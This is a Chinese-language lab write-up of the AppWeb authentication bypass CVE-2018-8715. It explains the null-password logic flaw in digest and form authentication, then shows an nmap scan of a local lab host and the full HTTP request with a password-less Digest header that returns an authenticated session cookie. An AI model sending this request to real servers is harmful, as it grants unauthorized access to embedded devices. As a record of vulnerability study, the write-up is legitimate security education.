AppWeb 认证绕过漏洞

AppWeb 认证绕过漏洞（CVE-2018-8715）

AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写，能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。

AppWeb可以进行认证配置，其认证方式包括以下三种：

• basic 传统HTTP基础认证
• digest 改进版HTTP基础认证，认证成功后将使用Cookie来保存状态，而不用再传递Authorization头
• form 表单认证

在7.0.3之前的版本中，对于digest和form两种认证方式，如果用户传入的密码为null（也就是没有传递密码参数），appweb将因为一个逻辑错误导致直接认证成功，并返回session。

信息搜集

nmap -sS -T5 -n -p- 192.168.50.128

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-05 12:35 ?D1ú±ê×?ê±??
Nmap scan report for 192.168.50.128
Host is up (0.00037s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
8080/tcp open  http-proxy
MAC Address: 00:0C:29:70:75:41 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.96 seconds

此环境开启8080端口，访问该端口，提示需要输入用户名和密码登陆

（该环境是带有digest认证的appweb容器）

漏洞利用

利用该漏洞需要知道一个已存在的用户名，当前环境下用户名为admin

构造头Authorization: Digest username=admin

发送如下数据包：（注意是请求根路径，不是get /login接口）

GET / HTTP/1.1
Host: 192.168.50.128:8080
Cache-Control: max-age=0
Authorization: Digest username=admin
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

未传入密码字段，服务器出现了逻辑漏洞，直接返回了200，而且包含响应头set-Cookie：

将该Session保存到浏览器中，即可以正常访问需要认证的页面